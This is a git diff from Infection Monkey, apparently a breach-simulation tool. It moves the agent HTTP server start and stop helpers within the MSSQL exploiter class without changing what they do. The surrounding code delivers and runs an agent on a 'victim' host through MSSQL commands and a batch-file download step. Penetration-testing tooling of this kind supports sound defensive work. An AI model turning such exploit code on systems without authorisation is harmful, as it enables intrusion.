diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 20631941b..1827a5281 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -159,6 +159,17 @@ class MSSQLExploiter(HostExploiter): MSSQLExploiter._stop_agent_server(http_thread) + def _start_agent_server(self, agent_path_on_victim: PureWindowsPath) -> LockedHTTPServer: + self.agent_http_path, http_thread = HTTPTools.create_locked_transfer( + self.host, str(agent_path_on_victim), self.agent_repository + ) + return http_thread + + @staticmethod + def _stop_agent_server(http_thread: LockedHTTPServer): + http_thread.stop() + http_thread.join(LONG_REQUEST_TIMEOUT) + def _write_download_command_to_batch_file(self, agent_path_on_victim: PureWindowsPath): agent_download_command = MSSQLExploiter.AGENT_DOWNLOAD_COMMAND.format( http_path=self.agent_http_path, dst_path=str(agent_path_on_victim) @@ -198,14 +209,3 @@ class MSSQLExploiter(HostExploiter): def _remove_temp_dir(self): self._run_mssql_command(f"del {self.payload_file_path}") self._run_mssql_command(f"rmdir {MSSQLExploiter.TMP_DIR_PATH}") - - def _start_agent_server(self, agent_path_on_victim: PureWindowsPath) -> LockedHTTPServer: - self.agent_http_path, http_thread = HTTPTools.create_locked_transfer( - self.host, str(agent_path_on_victim), self.agent_repository - ) - return http_thread - - @staticmethod - def _stop_agent_server(http_thread: LockedHTTPServer): - http_thread.stop() - http_thread.join(LONG_REQUEST_TIMEOUT)